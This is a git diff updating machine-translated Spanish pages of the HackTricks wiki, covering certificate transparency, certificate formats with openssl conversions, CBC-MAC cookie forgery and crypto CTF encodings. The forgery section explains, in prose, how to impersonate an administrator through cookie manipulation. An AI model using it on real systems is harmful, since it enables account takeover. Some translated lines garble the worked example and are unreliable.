-La Transparencia de Certificados tiene como objetivo remediar las amenazas basadas en certificados al **hacer que la emisión y existencia de certificados SSL sean abiertas al escrutinio por parte de los propietarios de dominios, las CA y los usuarios de dominios**. Específicamente, la Transparencia de Certificados tiene tres objetivos principales:
+La Transparencia de Certificados tiene como objetivo remediar las amenazas basadas en certificados al **hacer que la emisión y existencia de certificados SSL sean visibles para la escrutinio de los propietarios de dominios, las CAs y los usuarios de dominios**. Específicamente, la Transparencia de Certificados tiene tres objetivos principales:
-* Hacer imposible (o al menos muy difícil) que una CA **emita un certificado SSL para un dominio sin que el certificado sea visible para el propietario** de ese dominio.
-* Proporcionar un **sistema de auditoría y monitoreo abierto que permita a cualquier propietario de dominio o CA determinar si los certificados han sido emitidos por error o de manera maliciosa**.
-* **Proteger a los usuarios** (tanto como sea posible) de ser engañados por certificados que fueron emitidos por error o de manera maliciosa.
+* Hacer imposible (o al menos muy difícil) que una CA **emita un certificado SSL para un dominio sin que el propietario** de ese dominio **pueda ver el certificado**.
+* Proporcionar un **sistema de auditoría y monitoreo abierto** que permita a cualquier propietario de dominio o CA determinar si se han emitido certificados por error o maliciosamente.
+* **Proteger a los usuarios** (en la medida de lo posible) de ser engañados por certificados que se hayan emitido por error o maliciosamente.
#### **Registros de Certificados**
-Los registros de certificados son servicios de red simples que mantienen **registros de certificados asegurados criptográficamente, públicamente auditables y solo de adición**. **Cualquiera puede enviar certificados a un registro**, aunque es probable que las autoridades de certificación sean los principales remitentes. Del mismo modo, cualquiera puede consultar un registro para obtener una prueba criptográfica, que se puede usar para verificar que el registro se está comportando correctamente o verificar que un certificado en particular ha sido registrado. No tiene que haber un gran número de servidores de registro (digamos, mucho menos de mil en todo el mundo), y cada uno podría ser operado independientemente por una CA, un ISP o cualquier otra parte interesada.
+Los registros de certificados son servicios de red simples que mantienen **registros de certificados garantizados criptográficamente, públicamente auditables, de solo adición**. **Cualquiera puede enviar certificados a un registro**, aunque es probable que las autoridades de certificación sean los principales remitentes. Del mismo modo, cualquiera puede consultar un registro para obtener una prueba criptográfica, que se puede utilizar para verificar que el registro esté funcionando correctamente o verificar que un certificado en particular haya sido registrado. El número de servidores de registro no tiene por qué ser grande (digamos, mucho menos de mil en todo el mundo), y cada uno podría ser operado de forma independiente por una CA, un ISP o cualquier otra parte interesada.
#### Consulta
@@ -97,14 +97,14 @@ Puedes consultar los registros de Transparencia de Certificados de cualquier dom
## Formatos
-Hay diferentes formatos que se pueden usar para almacenar un certificado.
+Existen diferentes formatos que se pueden utilizar para almacenar un certificado.
#### **Formato PEM**
-* Es el formato más común utilizado para certificados
-* La mayoría de los servidores (Ej: Apache) esperan que los certificados y la clave privada estén en archivos separados\
+* Es el formato más común utilizado para los certificados
+* La mayoría de los servidores (por ejemplo, Apache) esperan que los certificados y la clave privada estén en archivos separados\
\- Por lo general, son archivos ASCII codificados en Base64\
-\- Las extensiones utilizadas para certificados PEM son archivos .cer, .crt, .pem, .key\
+\- Las extensiones utilizadas para los certificados PEM son .cer, .crt, .pem, .key\
\- Apache y servidores similares utilizan certificados en formato PEM
#### **Formato DER**
@@ -113,21 +113,21 @@ Hay diferentes formatos que se pueden usar para almacenar un certificado.
* Todos los tipos de certificados y claves privadas pueden codificarse en formato DER
* Los certificados en formato DER no contienen las declaraciones "BEGIN CERTIFICATE/END CERTIFICATE"
* Los certificados en formato DER suelen usar las extensiones ‘.cer’ y '.der'
-* DER se utiliza típicamente en plataformas Java
+* DER se utiliza típicamente en Plataformas Java
#### **Formato P7B/PKCS#7**
-* El formato PKCS#7 o P7B se almacena en formato ASCII Base64 y tiene una extensión de archivo de .p7b o .p7c
+* El formato PKCS#7 o P7B se almacena en formato Base64 ASCII y tiene una extensión de archivo .p7b o .p7c
* Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedias), no la clave privada
* Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat
#### **Formato PFX/P12/PKCS#12**
-* El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, los certificados intermedios y la clave privada en un solo archivo encriptable
-* Estos archivos generalmente tienen extensiones como .pfx y .p12
-* Por lo general, se utilizan en máquinas Windows para importar y exportar certificados y claves privadas
+* El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo cifrable
+* Estos archivos suelen tener extensiones como .pfx y .p12
+* Se utilizan típicamente en máquinas Windows para importar y exportar certificados y claves privadas
-### Conversiones de formatos
+### Conversiones de Formatos
**Convertir x509 a PEM**
```
@@ -143,7 +143,7 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
**Convertir PEM a P7B**
-**Nota:** El formato PKCS#7 o P7B se almacena en formato ASCII Base64 y tiene una extensión de archivo de .p7b o .p7c. Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedias), no la clave privada. Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat.
+**Nota:** El formato PKCS#7 o P7B se almacena en formato Base64 ASCII y tiene una extensión de archivo .p7b o .p7c. Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedios), no la clave privada. Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat.
```
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
@@ -153,7 +153,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Convertir pfx a PEM**
-**Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX suelen tener extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas Windows para importar y exportar certificados y claves privadas.
+**Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX suelen tener extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas con Windows para importar y exportar certificados y claves privadas.
```
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
@@ -175,28 +175,28 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-**2- Convertir CER y clave privada a PFX**
+**2- Convertir CER y Clave Privada a PFX**
```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
\
-Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtén Acceso Hoy:
+Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
+Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md
index 27f6ae67d..00eeefab5 100644
--- a/cryptography/cipher-block-chaining-cbc-mac-priv.md
+++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md
@@ -1,65 +1,65 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# CBC
-Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y quieres suplantar al usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **fuerza bruta** el **primer byte** de la cookie.
+Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas hacerse pasar por el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforcear** el **primer byte** de la cookie.
# CBC-MAC
-En criptografía, un **código de autenticación de mensajes en modo de encadenamiento de bloques de cifrado** (**CBC-MAC**) es una técnica para construir un código de autenticación de mensajes a partir de un cifrado de bloque. El mensaje se cifra con algún algoritmo de cifrado de bloque en modo CBC para crear una **cadena de bloques de tal manera que cada bloque dependa de la correcta encriptación del bloque anterior**. Esta interdependencia asegura que un **cambio** en **cualquier** bit del texto plano provocará que el **bloque cifrado final** cambie de una manera que no se puede predecir o contrarrestar sin conocer la clave del cifrado de bloque.
+En criptografía, un **código de autenticación de mensajes de cifrado en modo de cadena de bloques** (**CBC-MAC**) es una técnica para construir un código de autenticación de mensajes a partir de un cifrado de bloques. El mensaje se cifra con algún algoritmo de cifrado de bloques en modo CBC para crear una **cadena de bloques de tal manera que cada bloque depende del cifrado adecuado del bloque anterior**. Esta interdependencia asegura que un **cambio** en **cualquiera** de los **bits** del texto plano hará que el **último bloque cifrado** cambie de una manera que no se puede predecir o contrarrestar sin conocer la clave del cifrado de bloques.
-Para calcular el CBC-MAC de un mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se mantiene el último bloque. La siguiente figura esquematiza el cálculo del CBC-MAC de un mensaje compuesto por bloques![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrado de bloque E:
+Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se conserva el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques ![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrado de bloques E:
-![Estructura de CBC-MAC (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
+![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
# Vulnerabilidad
-Con CBC-MAC usualmente el **IV utilizado es 0**.\
-Esto es un problema porque 2 mensajes conocidos (`m1` y `m2`) independientemente generarán 2 firmas (`s1` y `s2`). Entonces:
+Con CBC-MAC, por lo general, el **IV utilizado es 0**.\
+Esto es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán 2 firmas (`s1` y `s2`) de forma independiente. Así:
* `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2`
-Luego, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32):
+Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32):
* `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32`
-**Lo cual es posible calcular sin conocer la clave de la encriptación.**
+**Lo cual es posible de calcular sin conocer la clave del cifrado.**
-Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**:
+Imagina que estás cifrando el nombre **Administrador** en bloques de **8 bytes**:
* `Administ`
* `rator\00\00\00`
-Puedes crear un nombre de usuario llamado **Administ** (m1) y obtener la firma (s1).\
+Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\
Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\
-Ahora, puedes usar s32 como la firma del nombre completo **Administrator**.
+Ahora, puedes usar s32 como la firma del nombre completo **Administrador**.
### Resumen
1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1
2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.**
-3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**.
+3. Establece la cookie como s32 y será una cookie válida para el usuario **Administrador**.
-# Ataque Controlando IV
+# Ataque Controlando el IV
Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\
-Si la cookie es solo el nombre de usuario cifrado, para suplantar al usuario "**administrator**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\
-Ahora, si puedes controlar el IV, puedes cambiar el primer Byte del IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator.** Esta cookie será válida para **suplantar** al usuario **administrator** con el **IV** inicial.
+Si las cookies son solo el nombre de usuario cifrado, para hacerse pasar por el usuario "**administrador**" puedes crear el usuario "**Administrator**" y obtendrás su cookie.\
+Ahora, si puedes controlar el IV, puedes cambiar el primer byte del IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** y regenerar la cookie para el usuario **Administrator**. Esta cookie será válida para **hacerse pasar** por el usuario **administrador** con el IV inicial.
# Referencias
@@ -68,14 +68,14 @@ Más información en [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedi
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md
index 683908672..ae97b8e95 100644
--- a/cryptography/crypto-ctfs-tricks.md
+++ b/cryptography/crypto-ctfs-tricks.md
@@ -1,16 +1,16 @@
-# Trucos para CTFs de Criptografía
+# Trucos de Crypto CTFs
-Aprende a hackear en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red de HackTricks AWS)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -47,7 +47,7 @@ La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
* [https://quipqiup.com/](https://quipqiup.com) - ¡Muy bueno!
-#### César - ROTx Autosolvers
+#### Autosolvers de Cifrado César - ROTx
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
@@ -57,7 +57,7 @@ La mayoría de los datos codificados se pueden decodificar con estos 2 recursos:
### Autosolver de Codificaciones Base
-Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
+Ver todas estas bases con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* **Ascii85**
* `BQ%]q@psCd@rH0l`
@@ -71,7 +71,7 @@ Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https:/
* `e1rqssc3d5t62svgejhh====`
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
* `D1QPRRB3C5S62RVFDHGG====`
-* **Base32 Extended Hexadecimal** \[_0-9A-V_]
+* **Base32 Hexadecimal Extendido** \[_0-9A-V_]
* `D1NMOOB3C5P62ORFDHGG====`
* **Base45** \[_0-9A-Z $%\*+-./:_]
* `59DPVDGPCVKEUPCPVD`
@@ -126,21 +126,21 @@ Revisa todas estas bases con: [https://github.com/dhondta/python-codext](https:/
* **Citrix CTX1** \[]
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
-[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
+[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 No encontrado: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
-### Morse
+* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 No encontrado: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
-[http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Muerto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
-### UUencoder
+* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 No encontrado: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
-No hay texto para traducir aparte del título, que se mantendría igual ya que es un nombre propio de una técnica de codificación.
+### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@@ -158,6 +158,10 @@ hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
+* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
+
+### YEncoder
+
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
@@ -192,17 +196,17 @@ Letras a su valor numérico
```
8 15 12 1 3 1 18 1 3 15 12 1
```
-### Cifrado Afin Codificar
+### Cifrado Afín Codificar
-Letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y el resultado de vuelta a letra
+Convertir letra a número `(ax+b)%26` (_a_ y _b_ son las claves y _x_ es la letra) y luego convertir el resultado de vuelta a letra
```
krodfdudfrod
```
### Código SMS
-**Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de tecla correspondiente en un [teclado de teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\
+**Multitap** [reemplaza una letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos por el código de tecla correspondiente en un teclado de [teléfono móvil](https://www.dcode.fr/phone-keypad-cipher) (Este modo se utiliza al escribir SMS).\
Por ejemplo: 2=A, 22=B, 222=C, 3=D...\
-Puedes identificar este código porque verás **varios números repetidos**.
+Puedes identificar este código porque verás\*\* varios números repetidos\*\*.
Puedes decodificar este código en: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
@@ -221,7 +225,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
**Raw Deflate** y **Raw Inflate** (puedes encontrar ambos en Cyberchef) pueden comprimir y descomprimir datos sin encabezados.
-## Criptografía Fácil
+## Crypto Fácil
### XOR - Autosolver
@@ -239,6 +243,10 @@ Se necesita una palabra clave
```
wodsyoidrods
```
+* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
+* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
+* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
+
## Criptografía Fuerte
### Fernet
@@ -253,28 +261,37 @@ Key:
```
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
-### Compartición de Secretos de Samir
+### Compartir secreto de Samir
-Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <= X_).
+Un secreto se divide en X partes y para recuperarlo necesitas Y partes (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
+[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
+
### Fuerza bruta con OpenSSL
+* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
+* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
+
## Herramientas
+* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
+* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
+* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+
Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md
index b3f6c9a30..5026f9323 100644
--- a/cryptography/electronic-code-book-ecb.md
+++ b/cryptography/electronic-code-book-ecb.md
@@ -1,36 +1,36 @@
